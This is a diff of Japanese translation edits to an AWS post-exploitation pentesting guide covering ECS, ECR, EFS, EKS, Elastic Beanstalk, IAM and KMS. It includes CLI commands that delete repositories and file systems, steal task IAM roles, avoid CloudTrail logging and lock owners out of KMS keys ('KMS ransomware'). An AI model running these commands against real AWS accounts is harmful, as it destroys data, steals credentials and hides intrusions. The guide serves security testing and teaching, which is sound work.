+クラウド環境における受動的ネットワーク検査は**困難**であり、ネットワークトラフィックを監視するために大規模な構成変更が必要でした。しかし、AWSによって「**VPCトラフィックミラーリング**」という新機能が導入され、このプロセスが簡素化されました。VPCトラフィックミラーリングを使用すると、VPC内のネットワークトラフィックを**複製**でき、インスタンス自体にソフトウェアをインストールする必要がありません。この複製されたトラフィックは、ネットワーク侵入検知システム(IDS)に送信されて**分析**されることができます。
-VPCトラフィックをミラーリングおよび抽出するために必要なインフラの**自動デプロイメント**のニーズに応えるために、「**malmirror**」という概念実証スクリプトを開発しました。このスクリプトは、**侵害されたAWS資格情報**を使用して、ターゲットVPC内のすべてのサポートされているEC2インスタンスのミラーリングを設定するために使用できます。VPCトラフィックミラーリングは、AWS Nitroシステムによって動作するEC2インスタンスのみがサポートされており、VPCミラーターゲットはミラーリングされたホストと同じVPC内でなければならないことに注意が必要です。
+VPCトラフィックをミラーリングおよび抽出するために必要なインフラの**自動デプロイメント**のニーズに対応するために、「**malmirror**」という概念実証スクリプトを開発しました。このスクリプトは、**侵害されたAWS資格情報**を使用して、ターゲットVPC内のすべてのサポートされているEC2インスタンスのミラーリングを設定するために使用できます。VPCトラフィックミラーリングは、AWS Nitroシステムによって動作するEC2インスタンスのみがサポートされており、VPCミラーターゲットはミラーリングされたホストと同じVPC内でなければならないことに注意が必要です。
悪意のあるVPCトラフィックミラーリングの**影響**は重大であり、攻撃者がVPC内で送信される**機密情報**にアクセスできるようになります。このような悪意のあるミラーリングの**可能性**は高く、VPC内を流れる**平文トラフィック**の存在を考慮すると、特にそうです。多くの企業は、**パフォーマンスの理由**から内部ネットワーク内で平文プロトコルを使用しており、従来の中間者攻撃が不可能であると仮定しています。
-詳細情報および[**malmirrorスクリプト**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror)へのアクセスは、私たちの**GitHubリポジトリ**で見つけることができます。このスクリプトはプロセスを自動化し、簡素化するため、攻撃的研究目的において**迅速、簡単、かつ繰り返し可能**です。
+詳細情報および[**malmirrorスクリプト**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror)へのアクセスは、私たちの**GitHubリポジトリ**で見つけることができます。このスクリプトはプロセスを自動化し、簡素化し、攻撃的研究目的のために**迅速、簡単、かつ繰り返し可能**にします。
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
index 5fcbd4667..8fef9988c 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md
@@ -46,7 +46,7 @@ aws ecr get-download-url-for-layer \
--registry-id 653711331788 \
--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
```
-ダウンロードした画像は、**機密情報を確認する必要があります**:
+画像をダウンロードした後は、**機密情報を確認する**必要があります:
{{#ref}}
https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics
@@ -54,7 +54,7 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m
### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
-これらの権限を持つ攻撃者は、**リポジトリ内のすべての画像を削除するライフサイクルポリシーを作成または変更し、次に** **ECRリポジトリ全体を削除する**ことができます。これにより、リポジトリに保存されているすべてのコンテナ画像が失われます。
+これらの権限を持つ攻撃者は、**リポジトリ内のすべての画像を削除するライフサイクルポリシーを作成または変更**し、その後**ECRリポジトリ全体を削除**することができます。これにより、リポジトリに保存されているすべてのコンテナ画像が失われます。
```bash
bashCopy code# Create a JSON file with the malicious lifecycle policy
echo '{
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
index 06b54f64f..e19e5ed1b 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md
@@ -12,33 +12,33 @@
### ホスト IAM ロール
-ECS では、**IAM ロールをコンテナ内で実行されているタスクに割り当てることができます**。**もし**タスクが**EC2**インスタンス内で実行されている場合、**EC2 インスタンス**には**別の IAM**ロールが付与されます。\
-つまり、ECS インスタンスを**侵害**することに成功すれば、**ECR および EC2 インスタンスに関連付けられた IAM ロールを取得する可能性があります**。これらの資格情報を取得する方法についての詳細は、以下を確認してください:
+ECS では、**IAM ロールがコンテナ内で実行されているタスクに割り当てられる**ことがあります。**もし**タスクが**EC2**インスタンス内で実行されている場合、**EC2 インスタンス**には**別の IAM**ロールが付与されます。\
+つまり、ECS インスタンスを**侵害**することができれば、**ECR および EC2 インスタンスに関連付けられた IAM ロールを取得する**可能性があります。これらの資格情報を取得する方法については、以下を確認してください:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf
{{#endref}}
> [!CAUTION]
-> EC2 インスタンスが IMDSv2 を強制している場合、[**ドキュメントによると**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)、**PUT リクエストの応答**は**ホップ制限が 1**となり、EC2 インスタンス内のコンテナから EC2 メタデータにアクセスすることが不可能になります。
+> EC2 インスタンスが IMDSv2 を強制している場合、[**ドキュメントによると**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)、**PUT リクエストの応答**には**ホップ制限が 1**があり、EC2 インスタンス内のコンテナから EC2 メタデータにアクセスすることは不可能になります。
-### ノードへの特権昇格と他のコンテナの資格情報および秘密の盗難
+### ノードへの特権昇格と他のコンテナの資格情報と秘密の盗難
さらに、EC2 は ECs タスクを実行するために Docker を使用しているため、ノードにエスケープするか、**Docker ソケットにアクセス**できれば、**他のコンテナ**がどのように実行されているかを**確認**でき、さらには**それらの中に入って**、**付与された IAM ロールを盗む**ことができます。
#### 現在のホストでコンテナを実行する
-さらに、**EC2 インスタンスロール**は通常、クラスター内のノードとして使用されている EC2 インスタンスの**コンテナインスタンスの状態を更新する**のに十分な**権限**を持っています。攻撃者は、**インスタンスの状態を DRAINING に変更**することができ、その後 ECS は**すべてのタスクをそこから削除**し、**REPLICA**として実行されているタスクは**別のインスタンスで実行される**ことになり、潜在的に**攻撃者のインスタンス内で**実行されるため、彼は**それらの IAM ロールを盗む**ことができ、コンテナ内の潜在的な機密情報を取得することができます。
+さらに、**EC2 インスタンスロール**は通常、クラスター内のノードとして使用されている EC2 インスタンスの**コンテナインスタンスの状態を更新する**のに十分な**権限**を持っています。攻撃者は、**インスタンスの状態を DRAINING に変更**することで、ECS は**すべてのタスクをそこから削除**し、**REPLICA**として実行されているタスクは**別のインスタンスで実行される**ことになり、潜在的に**攻撃者のインスタンス内で**実行されるため、**IAM ロールを盗む**ことや、コンテナ内の潜在的な機密情報を**盗む**ことができます。
```bash
aws ecs update-container-instances-state \
--cluster --status DRAINING --container-instances
```
-同じ技術は**クラスターからEC2インスタンスを登録解除することによって**行うことができます。これは潜在的にあまり隠密ではありませんが、**タスクを他のインスタンスで実行させることを強制します:**
+同じ技術は**クラスターからEC2インスタンスを登録解除する**ことによって行うことができます。これは潜在的にあまりステルス性がありませんが、**タスクを他のインスタンスで実行させることを強制します:**
```bash
aws ecs deregister-container-instance \
--cluster --container-instance --force
```
-タスクの再実行を強制するための最終的な技術は、ECSに**タスクまたはコンテナが停止した**ことを示すことです。これを行うための3つの潜在的なAPIがあります:
+タスクの再実行を強制するための最終的な手法は、ECSに**タスクまたはコンテナが停止した**ことを示すことです。これを行うための3つの潜在的なAPIがあります:
```bash
# Needs: ecs:SubmitTaskStateChange
aws ecs submit-task-state-change --cluster \
@@ -50,7 +50,7 @@ aws ecs submit-container-state-change ...
# Needs: ecs:SubmitAttachmentStateChanges
aws ecs submit-attachment-state-changes ...
```
-### ECRコンテナから機密情報を盗む
+### ECRコンテナからの機密情報の盗難
EC2インスタンスは、おそらく`ecr:GetAuthorizationToken`の権限を持っており、**イメージをダウンロード**することができます(その中に機密情報を探すことができます)。
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
index bb4a15002..787239397 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md
@@ -12,23 +12,23 @@
### `elasticfilesystem:DeleteMountTarget`
-攻撃者はマウントターゲットを削除することができ、アプリケーションやユーザーがそのマウントターゲットに依存している場合、EFSファイルシステムへのアクセスが中断される可能性があります。
+攻撃者はマウントターゲットを削除することができ、アプリケーションやそのマウントターゲットに依存するユーザーのEFSファイルシステムへのアクセスを妨げる可能性があります。
```sql
aws efs delete-mount-target --mount-target-id
```
-**潜在的な影響**: ファイルシステムへのアクセスの中断と、ユーザーやアプリケーションのデータ損失の可能性。
+**潜在的影響**: ファイルシステムへのアクセスの中断と、ユーザーやアプリケーションのデータ損失の可能性。
### `elasticfilesystem:DeleteFileSystem`
-攻撃者は、EFSファイルシステム全体を削除することができ、これによりデータ損失が発生し、ファイルシステムに依存するアプリケーションに影響を与える可能性があります。
+攻撃者はEFSファイルシステム全体を削除することができ、これによりデータ損失が発生し、ファイルシステムに依存するアプリケーションに影響を与える可能性があります。
```perl
aws efs delete-file-system --file-system-id
```
-**潜在的な影響**: 削除されたファイルシステムを使用しているアプリケーションに対するデータ損失とサービスの中断。
+**潜在的影響**: 削除されたファイルシステムを使用しているアプリケーションに対するデータ損失とサービス中断。
### `elasticfilesystem:UpdateFileSystem`
-攻撃者は、スループットモードなどのEFSファイルシステムのプロパティを更新し、そのパフォーマンスに影響を与えたり、リソースの枯渇を引き起こしたりする可能性があります。
+攻撃者は、スループットモードなどのEFSファイルシステムのプロパティを更新し、そのパフォーマンスに影響を与えたり、リソース枯渇を引き起こしたりする可能性があります。
```sql
aws efs update-file-system --file-system-id --provisioned-throughput-in-mibps
```
@@ -36,7 +36,7 @@ aws efs update-file-system --file-system-id --provisioned-throughput-in-
### `elasticfilesystem:CreateAccessPoint` と `elasticfilesystem:DeleteAccessPoint`
-攻撃者はアクセス・ポイントを作成または削除することで、アクセス制御を変更し、ファイルシステムへの不正アクセスを自らに付与する可能性があります。
+攻撃者はアクセスポイントを作成または削除し、アクセス制御を変更し、ファイルシステムへの不正アクセスを自らに付与する可能性があります。
```arduino
aws efs create-access-point --file-system-id --posix-user --root-directory
aws efs delete-access-point --access-point-id
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
index 112f17180..d4851a3bf 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
@@ -10,22 +10,22 @@
../aws-services/aws-eks-enum.md
{{#endref}}
-### AWSコンソールからクラスターを列挙する
+### AWS コンソールからクラスターを列挙する
-**`eks:AccessKubernetesApi`** の権限がある場合、AWS EKSコンソールを介して**Kubernetesオブジェクトを表示**できます([詳細はこちら](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html))。
+**`eks:AccessKubernetesApi`** の権限がある場合、AWS EKS コンソールを介して **Kubernetes オブジェクトを表示** できます ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html))。
-### AWS Kubernetesクラスターに接続する
+### AWS Kubernetes クラスターに接続する
- 簡単な方法:
```bash
# Generate kubeconfig
aws eks update-kubeconfig --name aws-eks-dev
```
-- 簡単ではない方法:
+- 簡単ではない方法:
-もし **`aws eks get-token --name `** で **トークンを取得できる** が、クラスター情報 (describeCluster) を取得する権限がない場合、**自分の `~/.kube/config` を準備する** ことができます。しかし、トークンを持っていても、接続するための **url エンドポイント** が必要です (ポッドから JWT トークンを取得できた場合は [こちら](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token) を参照) と **クラスターの名前** が必要です。
+もしあなたが **`aws eks get-token --name `** で **トークンを取得できる** が、クラスター情報を取得する権限(describeCluster)がない場合、あなた自身の **`~/.kube/config`** を **準備する** ことができます。しかし、トークンを持っていても、接続するための **url エンドポイント** が必要です(ポッドからJWTトークンを取得できた場合は [こちら](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token) を読んでください)と **クラスターの名前** が必要です。
-私の場合、CloudWatch ログでは情報を見つけられませんでしたが、**LaunchTemplates の userData** と **EC2 マシンの userData** で見つけました。この情報は **userData** で簡単に見ることができます。例えば、次の例では (クラスター名は cluster-name でした):
+私の場合、CloudWatchログでは情報を見つけられませんでしたが、**LaunchTemplatesのuserData** と **EC2マシンのuserData** で情報を見つけました。この情報は **userData** で簡単に見ることができます。例えば、次の例では(クラスター名は cluster-name でした):
```bash
API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
@@ -72,24 +72,24 @@ provideClusterInfo: false
### AWSからKubernetesへ
-**EKSクラスター**の**作成者**は、グループ**`system:masters`**(k8s管理者)のkubernetesクラスター部分に**常に**アクセスできることになります。この執筆時点では、**クラスターを作成した人**を見つける**直接的な方法**はありません(CloudTrailを確認できます)。また、その**特権**を**削除する方法**もありません。
+**EKSクラスター**の**作成者**は、グループ**`system:masters`**(k8s管理者)のkubernetesクラスター部分に**常に**アクセスできることになります。この文書作成時点では、**クラスターを作成した人**を見つける**直接的な方法**は**ありません**(CloudTrailを確認できます)。また、その**特権**を**削除する方法**も**ありません**。
-**K8sへのアクセスを他のAWS IAMユーザーやロールに付与する方法**は、**configmap** **`aws-auth`**を使用することです。
+**AWS IAMユーザーやロールにK8sへのアクセスを付与する方法**は、**configmap** **`aws-auth`**を使用することです。
> [!WARNING]
> したがって、config map **`aws-auth`**に**書き込みアクセス**を持つ人は、**クラスター全体を危険にさらす**ことができます。
-**同じまたは異なるアカウント**でIAMロールやユーザーに**追加の特権を付与する方法**や、これを**悪用する方法**については、[**privescこのページを確認してください**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps)。
+**同じまたは異なるアカウント**でIAMロールやユーザーに**追加の特権を付与する方法**や、これを**悪用する方法**については、[**このページを確認してください**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps)。
また、[**この素晴らしい**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **投稿をチェックして、IAMからKubernetesへの認証がどのように機能するかを学んでください**。
### KubernetesからAWSへ
-**Kubernetesサービスアカウント**のために**OpenID認証を許可する**ことが可能で、これによりAWSでロールを引き受けることができます。これがどのように機能するかについては、[**このページで学んでください**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1)。
+**Kubernetesサービスアカウント**のための**OpenID認証**を許可し、AWSでロールを引き受けることができるようにすることが可能です。これがどのように機能するかは、[**このページで学んでください**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1)。
### JWTトークンからAPIサーバーエンドポイントを取得する
-JWTトークンをデコードすると、クラスターIDとリージョンが得られます。 EKS URLの標準形式は次の通りです。
+JWTトークンをデコードすると、クラスターIDとリージョンが得られます。 EKS URLの標準フォーマットは
```bash
https://...eks.amazonaws.com
```
@@ -98,7 +98,7 @@ https://...eks.amazonaws.com
- gr7
- yl4
-とにかく、たった3文字なので、ブルートフォース攻撃できます。リストを生成するために以下のスクリプトを使用してください。
+いずれにせよ、たった3文字なので、ブルートフォース攻撃できます。リストを生成するために以下のスクリプトを使用してください。
```python
from itertools import product
from string import ascii_lowercase
@@ -123,20 +123,20 @@ wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws
### CloudTrailのバイパス
-攻撃者が**EKSに対する権限を持つAWSの資格情報**を取得した場合、攻撃者が前述のように**`update-kubeconfig`**を呼び出さずに独自の**`kubeconfig`**を設定すると、**`get-token`**はAWS APIと対話しないため、CloudTrailにログを生成しません(トークンをローカルで作成するだけです)。
+攻撃者が**EKSに対する権限を持つAWSの資格情報**を取得した場合、攻撃者が前述のように**`update-kubeconfig`**を呼び出さずに独自の**`kubeconfig`**を設定すると、**`get-token`**はCloudTrailにログを生成しません(AWS APIと対話せず、トークンをローカルで作成するだけだからです)。
-したがって、攻撃者がEKSクラスターと通信すると、**cloudtrailはユーザーが盗まれてアクセスしていることに関連する何もログに記録しません**。
+したがって、攻撃者がEKSクラスターと通信すると、**cloudtrailはユーザーが盗まれてアクセスしていることに関連するログを記録しません**。
-**EKSクラスターにはこのアクセスをログに記録するログが有効になっている可能性がある**ことに注意してください(デフォルトでは無効になっていますが)。
+**EKSクラスターにはこのアクセスを記録するログが有効になっている可能性がある**ことに注意してください(デフォルトでは無効になっていますが)。
### EKSの身代金?
-デフォルトでは、**クラスターを作成したユーザーまたはロールは**、**常にクラスターに対して管理者権限を持つ**ことになります。そして、それがKubernetesクラスターに対するAWSの唯一の「安全な」アクセスです。
+デフォルトでは、**クラスターを作成したユーザーまたはロール**は**常にクラスターに対して管理者権限を持つ**ことになります。そして、それがKubernetesクラスターに対するAWSの唯一の「安全な」アクセスです。
-したがって、**攻撃者がFargateを使用してクラスターを侵害し**、**他のすべての管理者を削除し**、**クラスターを作成したAWSユーザー/ロールを削除した場合、~~攻撃者はクラスターを**身代金にすることができた~~**。
+したがって、**攻撃者がFargateを使用してクラスターを侵害し**、**他のすべての管理者を削除し**、**クラスターを作成したAWSユーザー/ロールを削除**すると、~~攻撃者は**クラスターを身代金にすることができた**~~**。
> [!TIP]
-> クラスターが**EC2 VM**を使用している場合、**ノード**から管理者権限を取得し、クラスターを回復することが可能であることに注意してください。
+> クラスターが**EC2 VM**を使用している場合、**ノード**から管理者権限を取得し、クラスターを回復することが可能です。
>
> 実際、クラスターがFargateを使用している場合、EC2ノードを使用するか、すべてをEC2に移動してクラスターを回復し、ノード内のトークンにアクセスすることができます。
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
index ce9749c39..927ff164b 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
@@ -1,10 +1,10 @@
-# AWS - Elastic Beanstalk ポストエクスプロイテーション
+# AWS - Elastic Beanstalk Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Elastic Beanstalk
-詳細情報:
+詳細情報については:
{{#ref}}
../aws-services/aws-elastic-beanstalk-enum.md
@@ -15,16 +15,16 @@
> [!NOTE]
> TODO: これに対して追加の権限が必要かテストする
-`elasticbeanstalk:DeleteApplicationVersion` の権限を持つ攻撃者は **既存のアプリケーションバージョンを削除** できます。このアクションは、アプリケーションデプロイメントパイプラインを妨害したり、バックアップがない場合に特定のアプリケーションバージョンの損失を引き起こす可能性があります。
+`elasticbeanstalk:DeleteApplicationVersion` の権限を持つ攻撃者は **既存のアプリケーションバージョンを削除** できます。このアクションは、アプリケーションのデプロイメントパイプラインを妨害したり、バックアップがない場合に特定のアプリケーションバージョンの損失を引き起こす可能性があります。
```bash
aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
```
-**潜在的な影響**: アプリケーションのデプロイメントの中断とアプリケーションバージョンの潜在的な損失。
+**潜在的影響**: アプリケーションのデプロイメントの中断とアプリケーションバージョンの潜在的な損失。
### `elasticbeanstalk:TerminateEnvironment`
> [!NOTE]
-> TODO: これに必要な権限が他にあるかテストする
+> TODO: これに対して追加の権限が必要かテストする
`elasticbeanstalk:TerminateEnvironment` の権限を持つ攻撃者は、**既存の Elastic Beanstalk 環境を終了させる**ことができ、アプリケーションのダウンタイムを引き起こし、環境がバックアップ用に構成されていない場合はデータ損失の可能性があります。
```bash
@@ -41,7 +41,7 @@ aws elasticbeanstalk terminate-environment --environment-name my-existing-env
```bash
aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
```
-**潜在的な影響**: アプリケーションリソース、構成、環境、およびアプリケーションバージョンの喪失により、サービスの中断やデータ損失の可能性があります。
+**潜在的影響**: アプリケーションリソース、設定、環境、およびアプリケーションバージョンの喪失により、サービスの中断やデータ損失の可能性があります。
### `elasticbeanstalk:SwapEnvironmentCNAMEs`
@@ -59,12 +59,12 @@ aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1
> [!NOTE]
> TODO: これに必要な権限が他にあるかテストする
-`elasticbeanstalk:AddTags` および `elasticbeanstalk:RemoveTags` 権限を持つ攻撃者は **Elastic Beanstalk リソースにタグを追加または削除することができます**。このアクションは、リソースの不正な割り当て、請求、またはリソース管理につながる可能性があります。
+`elasticbeanstalk:AddTags` および `elasticbeanstalk:RemoveTags` 権限を持つ攻撃者は、**Elastic Beanstalk リソースにタグを追加または削除**することができます。このアクションは、リソースの不正な割り当て、請求、またはリソース管理につながる可能性があります。
```bash
aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
```
-**潜在的な影響**: 追加または削除されたタグによるリソースの不適切な割り当て、請求、またはリソース管理。
+**潜在的影響**: 追加または削除されたタグによるリソースの不適切な割り当て、請求、またはリソース管理。
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
index eaa94f9c6..fc6e2acf5 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
@@ -1,24 +1,24 @@
-# AWS - IAM Post Exploitation
+# AWS - IAM ポストエクスプロイテーション
{{#include ../../../banners/hacktricks-training.md}}
## IAM
-IAMアクセスに関する詳細情報:
+IAM アクセスに関する詳細情報:
{{#ref}}
../aws-services/aws-iam-enum.md
{{#endref}}
-## Confused Deputy Problem
+## 混乱した代理人問題
-もしあなたが**外部アカウント(A)**にあなたのアカウントの**ロール**にアクセスすることを許可すると、**その外部アカウントに正確にアクセスできるのは誰か**について**0の可視性**しか持たないことになります。これは問題です。なぜなら、別の外部アカウント(B)が外部アカウント(A)にアクセスできる場合、**Bもあなたのアカウントにアクセスできる可能性があるからです**。
+もしあなたが **外部アカウント (A)** にあなたのアカウントの **ロール** へのアクセスを許可すると、あなたは **その外部アカウントに正確にアクセスできる人が誰かについての可視性がゼロ** になるでしょう。これは問題です。なぜなら、別の外部アカウント (B) が外部アカウント (A) にアクセスできる場合、**Bもあなたのアカウントにアクセスできる可能性があるからです**。
-したがって、外部アカウントがあなたのアカウントのロールにアクセスすることを許可する際には、`ExternalId`を指定することが可能です。これは、外部アカウント(A)が**あなたの組織のロールを引き受けるために**指定する必要がある「秘密」の文字列です。**外部アカウントBはこの文字列を知らないため**、Aにアクセスできても、**あなたのロールにアクセスすることはできません**。
+したがって、外部アカウントがあなたのアカウントのロールにアクセスすることを許可する際には、`ExternalId` を指定することが可能です。これは、外部アカウント (A) が **あなたの組織のロールを引き受けるために指定する必要がある** "秘密" の文字列です。**外部アカウント B はこの文字列を知らないため**、A にアクセスできても、**あなたのロールにアクセスすることはできません**。
.png)
-ただし、この`ExternalId`の「秘密」は**秘密ではありません**。IAMのロール引き受けポリシーを**読むことができる人は誰でもそれを見ることができます**。しかし、外部アカウントAがそれを知っていて、外部アカウント**Bがそれを知らない限り、BがAを悪用してあなたのロールにアクセスすることを**防ぎます**。
+ただし、この `ExternalId` の "秘密" は **秘密ではありません**。IAM のロール引き受けポリシーを **読むことができる人は誰でもそれを見ることができます**。しかし、外部アカウント A がそれを知っていて、外部アカウント **B がそれを知らない限り、B が A を悪用してあなたのロールにアクセスすることを防ぎます**。
例:
```json
@@ -62,9 +62,9 @@ IAMアクセスに関する詳細情報:
"Resource": "arn:aws:lambda:000000000000:function:foo"
}
```
-このポリシーは**任意のアカウント**がこのLambdaを呼び出すために自分のapigatewayを設定することを許可します。
+このポリシーは**任意のアカウント**が自分のapigatewayを設定してこのLambdaを呼び出すことを許可します。
-#### S3を主体として
+#### S3をプリンシパルとして
```json
"Condition": {
"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
@@ -73,7 +73,7 @@ IAMアクセスに関する詳細情報:
}
}
```
-もしS3バケットがプリンシパルとして指定されている場合、S3バケットにはアカウントIDがないため、もし**あなたのバケットを削除し、攻撃者が自分のアカウントでそれを作成した場合**、彼らはこれを悪用することができます。
+S3バケットがプリンシパルとして指定されている場合、S3バケットにはアカウントIDがないため、**バケットを削除し、攻撃者が自分のアカウントで作成した場合**、彼らはこれを悪用することができます。
#### サポートされていません
```json
@@ -84,7 +84,7 @@ IAMアクセスに関する詳細情報:
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
}
```
-混乱した代理人の問題を回避する一般的な方法は、`AWS:SourceArn`を使用して起源ARNをチェックする条件を使用することです。しかし、**一部のサービスはそれをサポートしていない可能性があります**(いくつかの情報源によるとCloudTrailのように)。
+Confused Deputyの問題を回避する一般的な方法は、`AWS:SourceArn`を使用して起源ARNを確認する条件を使用することです。しかし、**一部のサービスはそれをサポートしていない可能性があります**(いくつかの情報源によるとCloudTrailのように)。
## 参考文献
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
index 37276542e..8f6d6fcad 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
@@ -12,9 +12,9 @@
### 情報の暗号化/復号化
-`fileb://` と `file://` は、AWS CLI コマンドでローカルファイルのパスを指定するために使用される URI スキームです:
+`fileb://` と `file://` は、AWS CLI コマンドでローカルファイルへのパスを指定するために使用される URI スキームです:
-- `fileb://:` バイナリモードでファイルを読み取ります。通常、テキスト以外のファイルに使用されます。
+- `fileb://:` バイナリモードでファイルを読み取ります。通常、非テキストファイルに使用されます。
- `file://:` テキストモードでファイルを読み取ります。通常、プレーンテキストファイル、スクリプト、または特別なエンコーディング要件のない JSON に使用されます。
> [!TIP]
@@ -60,14 +60,14 @@ aws kms decrypt \
```
### KMS ランサムウェア
-KMS に対して特権アクセスを持つ攻撃者は、キーの KMS ポリシーを変更し、**自分のアカウントに対してアクセスを付与し**、正当なアカウントに付与されたアクセスを削除することができます。
+KMS に特権アクセスを持つ攻撃者は、キーの KMS ポリシーを変更し、**自分のアカウントに対するアクセスを付与し**、正当なアカウントに付与されたアクセスを削除することができます。
その結果、正当なアカウントのユーザーは、これらのキーで暗号化されたサービスの情報にアクセスできなくなり、アカウントに対して簡単だが効果的なランサムウェアを作成します。
> [!WARNING]
> **AWS 管理キーはこの攻撃の影響を受けません**、**顧客管理キー**のみが影響を受けます。
-> また、パラメータ **`--bypass-policy-lockout-safety-check`** を使用する必要があることに注意してください(ウェブコンソールにこのオプションがないため、この攻撃は CLI からのみ可能です)。
+> また、パラメータ **`--bypass-policy-lockout-safety-check`** を使用する必要があることに注意してください(このオプションがウェブコンソールにないため、この攻撃は CLI からのみ可能です)。
```bash
# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
@@ -92,7 +92,7 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
}
```
> [!CAUTION]
-> 注意してください。ポリシーを変更して外部アカウントにのみアクセスを与え、その外部アカウントから元のアカウントにアクセスを戻す新しいポリシーを設定しようとすると、**できなくなります**。
+> 注意してください。ポリシーを変更して外部アカウントにのみアクセスを許可した場合、その外部アカウントから新しいポリシーを設定して**元のアカウントにアクセスを戻すことはできません**。
.png)
@@ -103,7 +103,7 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
グローバルKMSランサムウェアを実行する別の方法があり、以下の手順が含まれます:
- 攻撃者によってインポートされた**キー素材**を持つ新しい**キーを作成する**
-- 新しいキーで以前のバージョンで暗号化された**古いデータを再暗号化する**
+- 以前のバージョンで暗号化された**古いデータを新しいもので再暗号化する**
- **KMSキーを削除する**
- これで、元のキー素材を持つ攻撃者だけが暗号化されたデータを復号化できるようになります
@@ -118,7 +118,7 @@ aws kms schedule-key-deletion \
--pending-window-in-days 7
```
> [!CAUTION]
-> AWSは現在、**クロスアカウントからの以前のアクションの実行を防止しています:**
+> AWSは現在、**クロスアカウントから前のアクションが実行されるのを防いでいます:**
.png)
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
index 191046845..f9f870dbe 100644
